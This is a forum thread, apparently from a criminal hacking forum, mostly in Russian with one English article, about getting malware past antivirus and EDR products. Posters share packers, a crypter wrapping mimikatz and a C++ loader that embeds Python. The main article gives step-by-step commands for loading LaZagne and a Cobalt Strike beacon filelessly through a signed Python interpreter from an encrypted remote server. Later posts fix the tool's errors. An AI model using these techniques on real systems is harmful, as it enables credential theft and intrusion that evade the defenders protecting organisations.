• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Обход AV, EDR, XDR

Можно упаковать все pyinstaller в exe файл без зависимостей и с весом около 8мб + вес полезной нагрузки. Если скомпилировать через nuitka вообще получается 300-500кб.
И напайинсталлер и на нуитку ебашут детект, и ни о каких 500 кб речи идти не может, 50 мегабайт если только - в случае с нуиткой
 
И напайинсталлер и на нуитку ебашут детект, и ни о каких 500 кб речи идти не может, 50 мегабайт если только - в случае с нуиткой
Мой самопальный криптор с mimikatz собранный в exe весит меньше 10мб. И детектов не так много - всего 3 без учета ноунейм AV, которые ругаются даже на hello world. При том, что энтропия огромная - 7.9

Если доработать, уменьшить энтропию, разбавить код и т.д. детектов будет еще меньше.
 

Вложения

  • mimik_crypt.png
    mimik_crypt.png
    74.3 КБ · Просмотры: 146
Мой самопальный криптор с mimikatz собранный в exe весит меньше 10мб. И детектов не так много - всего 3 без учета ноунейм AV, которые ругаются даже на hello world. При том, что энтропия огромная - 7.9

Если доработать, уменьшить энтропию, разбавить код и т.д. детектов будет еще меньше.
А ты как собирал? гуи или консоль?)

Прольешься раз, два, три

А потом детекты полетят
 
И напайинсталлер и на нуитку ебашут детект, и ни о каких 500 кб речи идти не может, 50 мегабайт если только - в случае с нуиткой
Что вы рекомендуете использовать?
 
Что вы рекомендуете использовать?
Под разные цели - разное

Самое простое - архив

Я когда то юзал пайинсталлер, был на нем ранпе
Мне через неделю аваст и авг ебнули детекты, и еще пару каких то аверов

Детект был именнл на пайинсталлере, т.к. собирая другие .py файлы в .ехе детект оставался
 
Что вы рекомендуете использовать?
как написал xChimera - архив, потому-что всякие пайинсталлеры и прочее не работает.
можно уж сделать так, если пошел на то разговор

C++:
#include <Python.h>
#include <iostream>
#include <windows.h>


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
    Py_Initialize();
    
    const char* python_code = R"(
        #pycode
    )";

    PyRun_SimpleString(python_code);
    Py_Finalize();
    
    return 0;

}
 
как написал xChimera - архив, потому-что всякие пайинсталлеры и прочее не работает.
можно уж сделать так, если пошел на то разговор

#include <Python.h>
#include <iostream>
#include <windows.h>

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
Py_Initialize();

const char* python_code = R"(

)";

PyRun_SimpleString(python_code);
Py_Finalize();

return 0;
}
Как вариант кстати, будет требовать python3**.dll разве что, ну и сами модули которые нужны `python_code`
 
Как вариант кстати, будет требовать python3**.dll разве что, ну и сами модули которые нужны `python_code`
Но я думаю профитнее использовать сам pythonw.exe, меньше пиздюлей от аверов
 
Как вариант кстати, будет требовать python3**.dll разве что, ну и сами модули которые нужны `python_code`
ага закинуть просто в архив к интепретатору, и все =))
 
Но я думаю профитнее использовать сам pythonw.exe, меньше пиздюлей от аверов
все верно, но если рассматривать как спросил парень выше, ему нужно это не для постэксплуатации

еще интересный вариант с помощью pyoxidizer.
// до этого тоже кидали, кстати интересные идеи в этом топике, можно поиграться для скрипткидди
 
все верно, но если рассматривать как спросил парень выше, ему нужно это не для постэксплуатации

еще интересный вариант с помощью pyoxidizer.
// до этого тоже кидали, кстати интересные идеи в этом топике, можно поиграться для скрипткидди
Можно попробовать использовать стейджер

На 1 этапе выполняются все проверки, затем качается питон, затем запускается уже скрипт

Но вообще я не сторонник таких движений, я с питоном надрочился уже, топлю за натив
 
Кто-то еще получает такую ошибку и если да, то как вы её исправили?

[+] Pyramid HTTP Server listening on port 443
[+] MIND YOUR OPSEC! Serving Pyramid files from folder /root/Documents/Pyramid/Server/
[+] User allowed to fetch files: testuser
[+] HTTPS Server starting
[+] Using SSL key /root/Documents/Pyramid/Server/key.pem
[+] Using SSL cert /root/Documents/Pyramid/Server/cert.pem
Traceback (most recent call last):
File "/root/Documents/Pyramid/Server/pyramid.py", line 419, in <module>
server.socket = ssl.wrap_socket(server.socket, keyfile=options.sslkey, certfile=options.sslcert, server_side=True)
^^^^^^^^^^^^^^^
AttributeError: module 'ssl' has no attribute 'wrap_socket'
 
Кто-то еще получает такую ошибку и если да, то как вы её исправили?

[+] Pyramid HTTP Server listening on port 443
[+] MIND YOUR OPSEC! Serving Pyramid files from folder /root/Documents/Pyramid/Server/
[+] User allowed to fetch files: testuser
[+] HTTPS Server starting
[+] Using SSL key /root/Documents/Pyramid/Server/key.pem
[+] Using SSL cert /root/Documents/Pyramid/Server/cert.pem
Traceback (most recent call last):
File "/root/Documents/Pyramid/Server/pyramid.py", line 419, in <module>
server.socket = ssl.wrap_socket(server.socket, keyfile=options.sslkey, certfile=options.sslcert, server_side=True)
^^^^^^^^^^^^^^^
AttributeError: module 'ssl' has no attribute 'wrap_socket'
Какая версия питона? У меня в кали линукс все работает сходу
 
Theory
Hello everyone, this article will be about the technique of bypassing antiviruses and EDR using PL interpreters (but it's not that simple). Some sellers of EDR bypass services use this method, take $5k from clients, earning good money. The topic is relevant and in demand, I hope it will help someone in their work)
There are several candidates for the role of language, it should be a scripting language with its own signed interpreter, for example, suitable for us: Python, JavaScript, Ruby, F# (allows you to write .fsx scripts).

The essence of the technique is that edr cannot normally analyze what is happening in the interpreters, where there is a mess of several levels of abstraction (libraries provide high-level abstractions for system operations), noise from events, optimizations, dynamic linking, the impossibility of clearly tracking the context, etc. For a heuristic analyzer, the execution of malicious code is not much different from legal software. Therefore, Aver's products often simply do nothing to avoid problems and false-positive detections that would interfere with the work of people and businesses. Plus, all suspicious telemetry will come from a signed binary, which is more trusted (metrics file reputation, trust score, etc., which participate in the decision on how to evaluate the behavior of the program). And many things for which a proactive system could stop a no-name exe build are permissible for our signed legitimate interpreter.
To prove that the equipment is powerful and working, for testing I will try to take the dirtiest utilities/builds with maximum detections.

Let's take python as an interpreted language (since a lot of things have been written for it, including legal software, and it is the most popular)
With the release of Python 3.5, an embedded version (sometimes also called standalone, portable) of the Python interpreter appeared, which can be run without installation, simply by downloading or throwing it onto a disk.
Inside the Python Embeddable package archive there are two signed .exe's:
python.exe - a standard standalone interpreter that runs with a window for outputting information to the console
and pythonw.exe - the same interpreter, but runs headless (without a window visible to the user)

Посмотреть вложение 100586

I have several virtual machines for variety in my tests.
windows server 2019 with Kaspersky Endpoint Security (there is a trial)
windows 10 ltsc with microsoft defender
windows 8 with Symantec Endpoint Protection

Practice and tests
Download the archive with the interpreter to the virtual machine from edr and unpack it. Let's say we want to run some script/tool on the machine in python for post exploitation (which have scantime and runtime detections), for example scripts from impacket, lazagne, pypykatz (mimikatz rewritten in python).
Let's try to download and unpack the archive with impacket
Invoke-WebRequest https://github.com/fortra/impacket/archive/refs/heads/master.zip -OutFile master.zip; Expand-Archive -Path master.zip -DestinationPath . -Force

Посмотреть вложение 100589

Edr, during static analysis, obviously immediately detects (notifying the admin/security personnel) and deletes dangerous files, since their signatures fall under the banal rules of the YARA scanner.

Посмотреть вложение 100588

Same with Lazagne, Defender
Invoke-WebRequest https://github.com/AlessandroZ/LaZagne/archive/refs/heads/master.zip -OutFile master.zip; Expand-Archive -Path master.zip -DestinationPath . -Force
Посмотреть вложение 100596
So we try to dodge the recording to disk and load all dependencies into memory at once. Here you can reinvent the wheel yourself, or use a ready-made tool for Python, for example, pyramid. There are already several ready-made modules (thanks to kind people) that can load tools and dependencies for them. Or you can write your own
What modules are ready:
Посмотреть вложение 100597

in dependencies their dependencies that we will load into memory
Посмотреть вложение 100599

Let's try to run LaZagne from memory, it will be indicative, because it has the most detections
Посмотреть вложение 100603

First, let's set up an http server where we will host everything
Cloning a pyramid from Gita
git clone https://github.com/naksyn/Pyramid
Посмотреть вложение 100590

Next, cd to the directory Pyramid/Serverand generate an ssl certificate so that the traffic is encrypted from edr analysis
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
Посмотреть вложение 100593
Two files key.pem and cert.pem should appear in the Server folder.

We look at our adapter address in the local network
Посмотреть вложение 100592
Putting together a team
python3 pyramid.py -p 443 -ssl -u testuser -pass 12345 -enc "chacha20" -passenc "12345" -server "192.168.159.128" -generate -setcradle LaZagne.py
-u and -pass are setting up credentials for basic auth so that no one can just log into our server and see what we are hosting
-passenc we set 12345, then it will ask for it
Посмотреть вложение 100600

The script generates a payload for us (a base64-encrypted script for fileless delivery) - we copy it
At the very bottom it asks for a pass, we enter our 12345
Посмотреть вложение 100601

Switch to Windows virtual machine with kes, run python.exe with admin rights (lazagne is required to style passwords), and insert our encrypted script
Посмотреть вложение 100602

After launch, it loads dependencies from our http server via get requests (192.164.159.142 is the victim machine with kes)
Посмотреть вложение 100605

Kes logs, no red or orange alerts, process not killed
Посмотреть вложение 100610

Defender, also undetected
Посмотреть вложение 100604

Against such jokes with anddetect, the cybersec community proposed a half-solution - Python Runtime Audit Hooks https://peps.python.org/pep-0578/
Description from the author:


I think it's clear, they suggest using the mechanism of these hooks to all sorts of suppliers/providers of antivirus solutions for runtime analysis of what's going on during execution. Fortunately, no one uses these yet.

Launching exe/dll from python
Now let's try some C2 framework, I'll specifically take unencrypted stageless koba (scientific Cobalt Strike) with its 60 detections. We can't just run a koba dll on a machine with edr. But there is a technique for loading PE into memory, and a project that automates it in python https://github.com/naksyn/PythonMemoryModule
And it can be used in combination with our technology.

In Kobe we create an https listener on, say, port 8000 (443 and 80 are occupied by our server with dependencies)
Create a windows stageless payload, let's say exe, x64 (x86 won't run under the x64 Python interpreter), select thread as exit function (if possible, for example, you use another framework or add-ons, try fiber https://de-engineer.github.io/Processes-threads-jobs-fibers/#fibers )
Посмотреть вложение 100606
Generate and save in the directory /Server/Delivery_files/ and change to chisel.exe

Посмотреть вложение 100607
Or you can change the name on line 58 in /Server/Modules/pythonmemorymodule.py
Посмотреть вложение 100608

Launching the server
python3 pyramid.py -p 443 -ssl -u testuser -pass 12345 -enc "chacha20" -passenc "12345" -server "192.168.159.128" -generate -setcradle pythonmemorymodule.py
Copy the python payload and paste it into the interpreter
We get a beacon tap and a session of the koba
Let me remind you that I didn't encrypt anything, there are more detections on the build than I had points on the Unified State Exam. And if you take a self-written redteam arsenal, or with a private crypto... the aver's blood pressure rises from the very thought
Посмотреть вложение 100609

If you like this content and get a few likes, I'll try to post a similar guide on JavaScript and its interpreters for Windows, everything there is also very interesting and has great potential for hiding from proactive systems.
WOWWWWW!!!!!!!! I REALLY LIKED YOUR BLOG BROTHER PLEASE WRITE MORE PLEASE JAVASCRIPT
 
Всем доброго дня, а как настроить нормально сервак. Вроде все работает логи идут, но в какой-то момент просто не откликается и приходится перезапускать pyramid.py. Если не сложно отпишите в пм )
 
Кто-то еще получает такую ошибку и если да, то как вы её исправили?

[+] Pyramid HTTP Server listening on port 443
[+] MIND YOUR OPSEC! Serving Pyramid files from folder /root/Documents/Pyramid/Server/
[+] User allowed to fetch files: testuser
[+] HTTPS Server starting
[+] Using SSL key /root/Documents/Pyramid/Server/key.pem
[+] Using SSL cert /root/Documents/Pyramid/Server/cert.pem
Traceback (most recent call last):
File "/root/Documents/Pyramid/Server/pyramid.py", line 419, in <module>
server.socket = ssl.wrap_socket(server.socket, keyfile=options.sslkey, certfile=options.sslcert, server_side=True)
^^^^^^^^^^^^^^^
AttributeError: module 'ssl' has no attribute 'wrap_socket'
https://xss.pro/threads/129570/post-920625 . у тебя новее просто версия питона , чем та на которой писалась пирамида.
 
Vsem dobra. Hotel protestirovat' i polychil oshibky.
Код:
[+] Pyramid HTTP Server listening on port  8000
[+] MIND YOUR OPSEC! Serving Pyramid files from folder  /home/kali/Pyramid/Server/
[+] User allowed to fetch files:  testuser
[+] HTTPS Server starting
[+] Using SSL key  /home/kali/Pyramid/Server/key.pem
[+] Using SSL cert /home/kali/Pyramid/Server/cert.pem
Traceback (most recent call last):
  File "/home/kali/Pyramid/Server/pyramid.py", line 419, in <module>
    server.socket = ssl.wrap_socket(server.socket, keyfile=options.sslkey, certfile=options.sslcert, server_side=True)
                    ^^^^^^^^^^^^^^^
AttributeError: module 'ssl' has no attribute 'wrap_socket'
 
Sori. Uvidel oshibky. Na kakom pitone napisana pyramida?
pyramid.py, замени 419 строчку.
Python:
        ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        ssl_context.load_cert_chain(certfile=options.sslcert, keyfile=options.sslkey)
        server.socket = ssl_context.wrap_socket(server.socket, server_side=True)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх